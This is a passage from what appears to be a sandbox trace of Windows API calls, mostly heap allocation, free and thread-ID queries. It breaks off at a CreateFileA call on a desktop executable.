lpMem=0x2c85850 | out: hHeap=0x2ad0000) returned 1 [0076.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85730 | out: hHeap=0x2ad0000) returned 1 [0076.423] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85760, Size=0x10) returned 0x2c85688 [0076.423] GetCurrentThreadId () returned 0x9b0 [0076.423] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85898, Size=0x10) returned 0x2c85778 [0076.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de548 [0076.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c858b0 | out: hHeap=0x2ad0000) returned 1 [0076.423] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85688, Size=0x10) returned 0x2c85718 [0076.423] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85778, Size=0x10) returned 0x2c857d8 [0076.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5b8 [0076.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de548 | out: hHeap=0x2ad0000) returned 1 [0076.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85718, Size=0x10) returned 0x2c856e8 [0076.424] GetCurrentThreadId () returned 0x9b0 [0076.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c857d8, Size=0x10) returned 0x2c85628 [0076.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.424] GetCurrentThreadId () returned 0x9b0 [0076.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de688 [0076.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5b8 | out: hHeap=0x2ad0000) returned 1 [0076.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0076.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de688 | out: hHeap=0x2ad0000) returned 1 [0076.424] GetCurrentThreadId () returned 0x9b0 [0076.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de688 [0076.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0076.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85670 [0076.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de688 | out: hHeap=0x2ad0000) returned 1 [0076.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c858b0 [0076.425] GetCurrentThreadId () returned 0x9b0 [0076.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.425] GetCurrentThreadId () returned 0x9b0 [0076.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de518 [0076.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85670 | out: hHeap=0x2ad0000) returned 1 [0076.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de628 [0076.425] GetCurrentThreadId () returned 0x9b0 [0076.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de638 [0076.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de518 | out: hHeap=0x2ad0000) returned 1 [0076.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c856a0 [0076.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de638 | out: hHeap=0x2ad0000) returned 1 [0076.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85640 [0076.426] GetCurrentThreadId () returned 0x9b0 [0076.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de538 [0076.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c856a0 | out: hHeap=0x2ad0000) returned 1 [0076.426] GetCurrentThreadId () returned 0x9b0 [0076.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5b8 [0076.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de538 | out: hHeap=0x2ad0000) returned 1 [0076.427] GetCurrentThreadId () returned 0x9b0 [0076.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de528 [0076.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5b8 | out: hHeap=0x2ad0000) returned 1 [0076.427] GetCurrentThreadId () returned 0x9b0 [0076.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de678 [0076.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0076.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5b8 [0076.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de678 | out: hHeap=0x2ad0000) returned 1 [0076.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de558 [0076.427] GetCurrentThreadId () returned 0x9b0 [0076.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de598 [0076.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5b8 | out: hHeap=0x2ad0000) returned 1 [0076.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c857d8 [0076.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de598 | out: hHeap=0x2ad0000) returned 1 [0076.427] GetCurrentThreadId () returned 0x9b0 [0076.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c855f8 [0076.428] GetCurrentThreadId () returned 0x9b0 [0076.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85730 [0076.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.428] GetCurrentThreadId () returned 0x9b0 [0076.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85898 [0076.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0076.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de628 | out: hHeap=0x2ad0000) returned 1 [0076.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85640 | out: hHeap=0x2ad0000) returned 1 [0076.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c857d8 | out: hHeap=0x2ad0000) returned 1 [0076.428] GetCurrentThreadId () returned 0x9b0 [0076.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4f8 [0076.429] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85898 | out: hHeap=0x2ad0000) returned 1 [0076.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c857f0 [0076.429] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4f8 | out: hHeap=0x2ad0000) returned 1 [0076.429] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c856e8, Size=0x10) returned 0x2c85640 [0076.429] GetCurrentThreadId () returned 0x9b0 [0076.429] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85628, Size=0x10) returned 0x2c85868 [0076.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.429] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.429] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.429] GetCurrentThreadId () returned 0x9b0 [0076.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5b8 [0076.429] GetCurrentThreadId () returned 0x9b0 [0076.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85700 [0076.429] GetCurrentThreadId () returned 0x9b0 [0076.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.430] GetCurrentThreadId () returned 0x9b0 [0076.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4b8 [0076.430] GetCurrentThreadId () returned 0x9b0 [0076.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de528 [0076.430] GetCurrentThreadId () returned 0x9b0 [0076.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.430] GetCurrentThreadId () returned 0x9b0 [0076.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de538 [0076.430] GetCurrentThreadId () returned 0x9b0 [0076.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de558 [0076.430] GetCurrentThreadId () returned 0x9b0 [0076.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de688 [0076.430] GetCurrentThreadId () returned 0x9b0 [0076.430] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85640, Size=0x20) returned 0x30284e0 [0076.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.431] GetCurrentThreadId () returned 0x9b0 [0076.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.431] GetCurrentThreadId () returned 0x9b0 [0076.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5c8 [0076.431] GetCurrentThreadId () returned 0x9b0 [0076.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de518 [0076.431] GetCurrentThreadId () returned 0x9b0 [0076.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85610 [0076.431] GetCurrentThreadId () returned 0x9b0 [0076.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.431] GetCurrentThreadId () returned 0x9b0 [0076.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.431] GetCurrentThreadId () returned 0x9b0 [0076.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5e8 [0076.432] GetCurrentThreadId () returned 0x9b0 [0076.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de528 [0076.432] GetCurrentThreadId () returned 0x9b0 [0076.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85868 [0076.432] GetCurrentThreadId () returned 0x9b0 [0076.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c856e8 [0076.432] GetCurrentThreadId () returned 0x9b0 [0076.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85868 [0076.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85778 [0076.432] GetCurrentThreadId () returned 0x9b0 [0076.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c857a8 [0076.432] GetCurrentThreadId () returned 0x9b0 [0076.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c857d8 [0076.432] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183ae0, Size=0x14) returned 0x3183b00 [0076.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.432] GetCurrentThreadId () returned 0x9b0 [0076.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.433] GetCurrentThreadId () returned 0x9b0 [0076.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.433] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x361e6b8, Size=0x941) returned 0x3620c90 [0076.433] GetCurrentThreadId () returned 0x9b0 [0076.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.433] GetCurrentThreadId () returned 0x9b0 [0076.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.433] GetCurrentThreadId () returned 0x9b0 [0076.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85730 [0076.433] GetCurrentThreadId () returned 0x9b0 [0076.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85790 [0076.433] GetCurrentThreadId () returned 0x9b0 [0076.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.433] GetCurrentThreadId () returned 0x9b0 [0076.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de628 [0076.433] GetCurrentThreadId () returned 0x9b0 [0076.434] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de608 [0076.434] GetCurrentThreadId () returned 0x9b0 [0076.434] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.434] GetCurrentThreadId () returned 0x9b0 [0076.434] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85898, Size=0x20) returned 0x3028558 [0076.434] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85838, Size=0x20) returned 0x30281c0 [0076.434] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.434] GetCurrentThreadId () returned 0x9b0 [0076.434] GetCurrentThreadId () returned 0x9b0 [0076.434] GetCurrentThreadId () returned 0x9b0 [0076.434] GetCurrentThreadId () returned 0x9b0 [0076.434] GetCurrentThreadId () returned 0x9b0 [0076.434] GetCurrentThreadId () returned 0x9b0 [0076.434] GetCurrentThreadId () returned 0x9b0 [0076.435] GetCurrentThreadId () returned 0x9b0 [0076.435] GetCurrentThreadId () returned 0x9b0 [0076.435] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a192e0, Size=0x24) returned 0x2a20258 [0076.435] GetCurrentThreadId () returned 0x9b0 [0076.435] GetCurrentThreadId () returned 0x9b0 [0076.435] GetCurrentThreadId () returned 0x9b0 [0076.435] GetCurrentThreadId () returned 0x9b0 [0076.435] GetCurrentThreadId () returned 0x9b0 [0076.435] GetCurrentThreadId () returned 0x9b0 [0076.435] GetCurrentThreadId () returned 0x9b0 [0076.435] GetCurrentThreadId () returned 0x9b0 [0076.435] GetCurrentThreadId () returned 0x9b0 [0076.435] GetCurrentThreadId () returned 0x9b0 [0076.436] GetCurrentThreadId () returned 0x9b0 [0076.436] GetCurrentThreadId () returned 0x9b0 [0076.436] GetCurrentThreadId () returned 0x9b0 [0076.436] GetCurrentThreadId () returned 0x9b0 [0076.436] GetCurrentThreadId () returned 0x9b0 [0076.436] GetCurrentThreadId () returned 0x9b0 [0076.436] GetCurrentThreadId () returned 0x9b0 [0076.436] GetCurrentThreadId () returned 0x9b0 [0076.436] GetCurrentThreadId () returned 0x9b0 [0076.436] GetCurrentThreadId () returned 0x9b0 [0076.436] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c857f0, Size=0x20) returned 0x3028558 [0076.436] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85610, Size=0x20) returned 0x3028300 [0076.436] GetCurrentThreadId () returned 0x9b0 [0076.437] GetCurrentThreadId () returned 0x9b0 [0076.437] GetCurrentThreadId () returned 0x9b0 [0076.437] GetCurrentThreadId () returned 0x9b0 [0076.437] GetCurrentThreadId () returned 0x9b0 [0076.437] GetCurrentThreadId () returned 0x9b0 [0076.437] GetCurrentThreadId () returned 0x9b0 [0076.437] GetCurrentThreadId () returned 0x9b0 [0076.437] GetCurrentThreadId () returned 0x9b0 [0076.437] GetCurrentThreadId () returned 0x9b0 [0076.437] GetCurrentThreadId () returned 0x9b0 [0076.437] GetCurrentThreadId () returned 0x9b0 [0076.437] GetCurrentThreadId () returned 0x9b0 [0076.437] GetCurrentThreadId () returned 0x9b0 [0076.438] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x18) returned 0x3183840 [0076.438] GetCurrentThreadId () returned 0x9b0 [0076.438] GetCurrentThreadId () returned 0x9b0 [0076.438] GetCurrentThreadId () returned 0x9b0 [0076.438] GetCurrentThreadId () returned 0x9b0 [0076.438] GetCurrentThreadId () returned 0x9b0 [0076.439] GetCurrentThreadId () returned 0x9b0 [0076.439] GetCurrentThreadId () returned 0x9b0 [0076.439] GetCurrentThreadId () returned 0x9b0 [0076.439] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183980, Size=0x10) returned 0x2c85778 [0076.439] GetCurrentThreadId () returned 0x9b0 [0076.439] GetCurrentThreadId () returned 0x9b0 [0076.439] GetCurrentThreadId () returned 0x9b0 [0076.439] GetCurrentThreadId () returned 0x9b0 [0076.439] GetCurrentThreadId () returned 0x9b0 [0076.439] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85778, Size=0x20) returned 0x3028558 [0076.439] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85718, Size=0x20) returned 0x30281c0 [0076.440] GetCurrentThreadId () returned 0x9b0 [0076.440] GetCurrentThreadId () returned 0x9b0 [0076.440] GetCurrentThreadId () returned 0x9b0 [0076.440] GetCurrentThreadId () returned 0x9b0 [0076.440] GetCurrentThreadId () returned 0x9b0 [0076.440] GetCurrentThreadId () returned 0x9b0 [0076.440] GetCurrentThreadId () returned 0x9b0 [0076.440] GetCurrentThreadId () returned 0x9b0 [0076.440] GetCurrentThreadId () returned 0x9b0 [0076.440] GetCurrentThreadId () returned 0x9b0 [0076.440] GetCurrentThreadId () returned 0x9b0 [0076.440] GetCurrentThreadId () returned 0x9b0 [0076.440] GetCurrentThreadId () returned 0x9b0 [0076.441] GetCurrentThreadId () returned 0x9b0 [0076.441] GetCurrentThreadId () returned 0x9b0 [0076.441] GetCurrentThreadId () returned 0x9b0 [0076.441] GetCurrentThreadId () returned 0x9b0 [0076.441] GetCurrentThreadId () returned 0x9b0 [0076.441] GetCurrentThreadId () returned 0x9b0 [0076.441] GetCurrentThreadId () returned 0x9b0 [0076.441] GetCurrentThreadId () returned 0x9b0 [0076.441] GetCurrentThreadId () returned 0x9b0 [0076.441] GetCurrentThreadId () returned 0x9b0 [0076.441] GetCurrentThreadId () returned 0x9b0 [0076.441] GetCurrentThreadId () returned 0x9b0 [0076.442] GetCurrentThreadId () returned 0x9b0 [0076.442] GetCurrentThreadId () returned 0x9b0 [0076.442] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de548, Size=0x14) returned 0x31838a0 [0076.442] GetCurrentThreadId () returned 0x9b0 [0076.442] GetCurrentThreadId () returned 0x9b0 [0076.442] GetCurrentThreadId () returned 0x9b0 [0076.442] GetCurrentThreadId () returned 0x9b0 [0076.442] GetCurrentThreadId () returned 0x9b0 [0076.442] GetCurrentThreadId () returned 0x9b0 [0076.442] GetCurrentThreadId () returned 0x9b0 [0076.442] GetCurrentThreadId () returned 0x9b0 [0076.442] GetCurrentThreadId () returned 0x9b0 [0076.443] GetCurrentThreadId () returned 0x9b0 [0076.443] GetCurrentThreadId () returned 0x9b0 [0076.443] GetCurrentThreadId () returned 0x9b0 [0076.443] GetCurrentThreadId () returned 0x9b0 [0076.443] GetCurrentThreadId () returned 0x9b0 [0076.443] GetCurrentThreadId () returned 0x9b0 [0076.443] GetCurrentThreadId () returned 0x9b0 [0076.443] GetCurrentThreadId () returned 0x9b0 [0076.443] GetCurrentThreadId () returned 0x9b0 [0076.443] GetCurrentThreadId () returned 0x9b0 [0076.443] GetCurrentThreadId () returned 0x9b0 [0076.443] GetCurrentThreadId () returned 0x9b0 [0076.443] GetCurrentThreadId () returned 0x9b0 [0076.443] GetCurrentThreadId () returned 0x9b0 [0076.444] GetCurrentThreadId () returned 0x9b0 [0076.444] GetCurrentThreadId () returned 0x9b0 [0076.444] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c858c8, Size=0x20) returned 0x3028300 [0076.444] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85688, Size=0x20) returned 0x3028558 [0076.444] GetCurrentThreadId () returned 0x9b0 [0076.444] GetCurrentThreadId () returned 0x9b0 [0076.444] GetCurrentThreadId () returned 0x9b0 [0076.444] GetCurrentThreadId () returned 0x9b0 [0076.444] GetCurrentThreadId () returned 0x9b0 [0076.444] GetCurrentThreadId () returned 0x9b0 [0076.444] GetCurrentThreadId () returned 0x9b0 [0076.445] GetCurrentThreadId () returned 0x9b0 [0076.445] GetCurrentThreadId () returned 0x9b0 [0076.445] GetCurrentThreadId () returned 0x9b0 [0076.445] GetCurrentThreadId () returned 0x9b0 [0076.445] GetCurrentThreadId () returned 0x9b0 [0076.445] GetCurrentThreadId () returned 0x9b0 [0076.445] GetCurrentThreadId () returned 0x9b0 [0076.445] GetCurrentThreadId () returned 0x9b0 [0076.445] GetCurrentThreadId () returned 0x9b0 [0076.445] GetCurrentThreadId () returned 0x9b0 [0076.445] GetCurrentThreadId () returned 0x9b0 [0076.445] GetCurrentThreadId () returned 0x9b0 [0076.445] GetCurrentThreadId () returned 0x9b0 [0076.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028300, Size=0x40) returned 0x2a192e0 [0076.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x40) returned 0x2a18ef0 [0076.446] GetCurrentThreadId () returned 0x9b0 [0076.446] GetCurrentThreadId () returned 0x9b0 [0076.446] GetCurrentThreadId () returned 0x9b0 [0076.446] GetCurrentThreadId () returned 0x9b0 [0076.446] GetCurrentThreadId () returned 0x9b0 [0076.446] GetCurrentThreadId () returned 0x9b0 [0076.446] GetCurrentThreadId () returned 0x9b0 [0076.446] GetCurrentThreadId () returned 0x9b0 [0076.446] GetCurrentThreadId () returned 0x9b0 [0076.446] GetCurrentThreadId () returned 0x9b0 [0076.446] GetCurrentThreadId () returned 0x9b0 [0076.447] GetCurrentThreadId () returned 0x9b0 [0076.447] GetCurrentThreadId () returned 0x9b0 [0076.447] GetCurrentThreadId () returned 0x9b0 [0076.447] GetCurrentThreadId () returned 0x9b0 [0076.447] GetCurrentThreadId () returned 0x9b0 [0076.447] GetCurrentThreadId () returned 0x9b0 [0076.447] GetCurrentThreadId () returned 0x9b0 [0076.447] GetCurrentThreadId () returned 0x9b0 [0076.447] GetCurrentThreadId () returned 0x9b0 [0076.447] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1ff58, Size=0x18) returned 0x3183900 [0076.447] GetCurrentThreadId () returned 0x9b0 [0076.447] GetCurrentThreadId () returned 0x9b0 [0076.447] GetCurrentThreadId () returned 0x9b0 [0076.448] GetCurrentThreadId () returned 0x9b0 [0076.448] GetCurrentThreadId () returned 0x9b0 [0076.448] GetCurrentThreadId () returned 0x9b0 [0076.448] GetCurrentThreadId () returned 0x9b0 [0076.448] GetCurrentThreadId () returned 0x9b0 [0076.448] GetCurrentThreadId () returned 0x9b0 [0076.448] GetCurrentThreadId () returned 0x9b0 [0076.448] GetCurrentThreadId () returned 0x9b0 [0076.448] GetCurrentThreadId () returned 0x9b0 [0076.448] GetCurrentThreadId () returned 0x9b0 [0076.448] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85688, Size=0x20) returned 0x3028328 [0076.448] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c858e0, Size=0x20) returned 0x3028300 [0076.448] GetCurrentThreadId () returned 0x9b0 [0076.449] GetCurrentThreadId () returned 0x9b0 [0076.449] GetCurrentThreadId () returned 0x9b0 [0076.449] GetCurrentThreadId () returned 0x9b0 [0076.449] GetCurrentThreadId () returned 0x9b0 [0076.449] GetCurrentThreadId () returned 0x9b0 [0076.449] GetCurrentThreadId () returned 0x9b0 [0076.449] GetCurrentThreadId () returned 0x9b0 [0076.449] GetCurrentThreadId () returned 0x9b0 [0076.449] GetCurrentThreadId () returned 0x9b0 [0076.449] GetCurrentThreadId () returned 0x9b0 [0076.449] GetCurrentThreadId () returned 0x9b0 [0076.451] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, 